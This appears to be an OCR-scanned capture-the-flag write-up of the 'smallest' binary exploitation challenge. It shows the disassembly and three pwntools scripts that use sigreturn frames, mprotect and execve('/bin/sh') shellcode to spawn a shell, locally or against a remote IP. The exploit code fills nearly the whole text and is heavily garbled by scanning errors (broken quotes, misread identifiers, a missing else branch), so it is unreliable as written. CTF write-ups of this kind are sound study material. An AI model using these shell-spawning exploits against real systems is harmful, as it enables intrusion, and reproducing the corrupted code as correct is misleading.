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millionsky@ubuntu-16:~/tmp/smallest$ objdump -d smallest

smallest: A elf64-x86-64

Disassembly of section .text:

00000000004000b0 <.text>:

4000b0: 48 31 c0 xor %rax,%rax
4000b3: ba 00 04 00 00 mov  $0x400,%edx
4000b8: 48 89 e6 mov  %rsp,%rsi
4000bb: 48 89 c7 mov  %rax,%rdi
4000be: of 05 syscall

4000cO0: c3 retq
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Return addr
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mov %rax, %rdi
addr_of rdi_syscall
syscall
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exp1.py

from pwn import *

import sys

context(os="linux’, arch="amd64’, log_level="debug")

program_name = "./smallest’

elf_hdr_addr = 0x400000

read_addr = 0x4000b0

syscall_addr = 0x4000be

shellcode="\x31\xF6\xF7\xE6\x50\x48\xBB\x2F\x62\x69\x6 E\x2F\x2F\x73\x68\x53\x54\x5F\xB0\x3B\x0F\x05"

shellcode_addr=0x400028

def exploit(p):




frame = SigreturnFrame()

frame.rsp = elf hdr_addr+0x18

frame.rax = constants.SYS_mprotect

frame.rdi = elf hdr_addr

frame.rsi = 0x1000

frame.rdx = 0x7

frame.rip = syscall_addr

payload = p64(read_addr)

payload +=

payload += str(frame)

payload += chr(0xa)




p-send(payload)

payload = p64(syscall_addr)

payload += "\x11° * (0xf - len(payload)-1)

payload += chr(0xa)

p-send(payload)

payload = p64(shellcode_addr)

payload += shellcode

payload += chr(0xa)

p-send(payload)

p-interactive()




if len(sys.argv) > 1:

p = remote(sys.argv[1], int(sys.argv[2]))

p = process(program_name)

pause()

exploit(p)

from pwn import *

context(os="linux’, arch="amd64’, log level="debug®)

DEBUG = 1




if DEBUG:

P = process(”./smallest”)

p = remote(”106.75.61.55", 20000)

def pwn(addr):

addr should be writable address

ret_addr = 0x4000b0

syscall addr = 0x4000be




frame = SigreturnFrame()

frame.rsp = addr

frame.rip = ret_addr

payload = p64(ret_addr)

payload += d" * 8

payload += str(frame)

p-send(payload)

payload = p64(syscall_addr)

payload += ‘Ix11° * (15 - len(payload))

p-send(payload)

yes = raw_input()




frame2 = SigreturnFrame()

frameZ2.rsp = addr + 400

frame2.rax = constants.SYS execve

frameZ2.rdi = addr + 400

frameZ2.rsi = addr + 400 + len("/bin/shix00")

frame2.rdx = 0

frameZ2.rip = syscall_addr

payload = p64(ret_addr)

payload += 'b* * 8

payload += str(frame2)




payload += ‘a’ * (400 - len(payload))

payload += ‘/bin/shix00"

payload += p64(addr + 400)

p-send(payload)

yes = raw_input()

payload = p64(syscall addr)

payload += ‘Ix00" * (Oxf - len(payload))

p-send(payload)

def leak():

read _again = 0x4000b0




rdi_syscall _addr = 0x4000bb

payload = p64(read _again)

payload += p64(rdi_syscall_addr)

payload += p64(read _again)

p-send(payload)

yes = raw_input()

p-send(‘|xbb")

recved = p.recvuntil(‘|x7T)

then = p.recv()

leak = ub4(recved[-6:] + then[:2])

log.info("leaking:" + hex(leak))

return leak

def main():




pwnlib.gdb.attach(p)

addr = leak() & Oxffffffiff000

addr -= 0x2000

log.info("on addr: " + hex(addr))

pwn(addr)

p-interactive()

from pwn import *

import sys




context(os="linux’, arch="amd64’, log_level="debug’)

program_name = "./smallest’

read_addr = 0x4000b0

rdi_syscall_addr = 0x4000bb

syscall_addr = 0x4000be

AT SYSINFO_EHDR = 0x21

AT _RANDOM = 0x19

AT PLATFORM = OxOf




def parse_auxv(ENV_AUX VEC):

QWORD _LIST =[]

for i in range(0, len(ENV_AUX _VEC), 8):

QWORD_LIST.append(struct.unpack("<Q", ENV_AUX_VEC]i:i+8])[0])

start aux vec = QWORD _LIST.index(AT _SYSINFO_EHDR)

AUX VEC ENTRIES = QWORD_LIST[start aux vec: start aux vec + (18 * 2)]

AUX_VEC_ENTRIES = dict(AUX_VEC_ENTRIES[i:i+2] for i in range(0, len(AUX_VEC_ENTRIES), 2))

vdso_address = AUX VEC_ENTRIES[AT _SYSINFO_EHDR]

print "[*] Base address of VDSO : %s" % hex(vdso_address)

offset = 0x239




random_address = AUX VEC ENTRIES[AT RANDOM]

buffer address = random_address - offset

print "[*] Buffer address in stack : %s"™ % hex(buffer address)

return buffer address

def parse_auxv_2(ENV_AUX _VEC):

QWORD_LIST =[]

for i in range(0, len(ENV_AUX VEC), 8):

QWORD_LIST.append(struct.unpack("<Q"”, ENV_AUX_VEC]i:i+8])[0])

start aux vec = QWORD _LIST.index(AT SYSINFO_EHDR)

AUX VEC ENTRIES = QWORD_LIST[start aux vec: start aux vec + (18 * 2)]

AUX_VEC_ENTRIES = dict(AUX_VEC_ENTRIES[i:i+2] for i in range(0, len(AUX_VEC_ENTRIES), 2))

vdso_address = AUX VEC ENTRIES[AT SYSINFO_EHDR]

print "[*] Base address of VDSO : %s"” % hex(vdso_address)




auxv_random_address = AUX VEC ENTRIES[AT RANDOM]

auxv_random_end _index = ENV_AUX VEC.index("x86 64")

auxv_random_start index = auxv_random_end_index - 0x10

auxv_random_start index += 8

buffer address = auxv_random_address - auxv_random_start_index

print "[*] Buffer address in stack : %s"™ % hex(buffer address)

return buffer address

def parse_auxv_3(ENV_AUX VEC):

QWORD_LIST =[]

for i in range(0, len(ENV_AUX _VEC), 8):

QWORD_LIST.append(struct.unpack("<Q", ENV_AUX_VEC]i:i+8])[0])

start aux vec = QWORD _LIST.index(AT _SYSINFO_EHDR)




AUX VEC ENTRIES = QWORD_LIST[start aux vec: start aux vec + (19 * 2)]

AUX_VEC_ENTRIES = dict(AUX_VEC_ENTRIES[i:i+2] for i in range(0, len(AUX_VEC_ENTRIES), 2))

vdso_address = AUX_VEC _ENTRIES[AT_SYSINFO_EHDR]

print "[*] Base address of VDSO : %s"” % hex(vdso_address)

auxv_platform_address = AUX_VEC_ENTRIES[AT PLATFORM]

auxv_platform index = ENV _AUX VEC.index("x86 64")

auxv_platform_index += 8

buffer address = auxv_platform_address - auxv_platform_index

print "[*] Buffer address in stack : %s" % hex(buffer address)

return buffer address

def exploit(p):




payload = p64(read_addr)

payload += p64(rdi_syscall_addr)

payload += p64(read _addr)

payload += chr(Oxa)

p-send(payload)

p-send(‘|xbb")

ENV _AUX VEC = p.recv(0x400)

buffer address = parse auxv_3(ENV_AUX VEC)

frame = SigreturnFrame()

frame.rsp = buffer address

frame.rax = constants.SYS execve




frame.rdi = buffer_address+0x28+len(s tr(frame))

frame.rsi = 0

frame.rdx = 0

frame.rip = syscall addr

print "[*] rdi=%s" % hex(frame.rdi)

payload = p64(read_addr)

payload += ‘A"*8

payload += str(frame)

payload += ‘/bin/shix00°

payload += chr(Oxa)

p-send(payload)




payload = p64(syscall _addr)

payload += ‘Ix11° * (Oxf - len(payload)-1)

payload += chr(Oxa)

p-send(payload)

p-interactive()

if len(sys.argv) > 1:

p = remote(sys.argv[1], int(sys.argv[2]))

P = process(program_name)

pause()

exploit(p)
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1. http:/anciety.cn/2017/04/21/2017429ctf-smallest-writeup/.

2. Return to VDSO using ELF Auxiliary Vectors.
https://vOids3curity.blogspot.jp/2014/12/return-to-vdso-using-elf-auxiliary.htmi.
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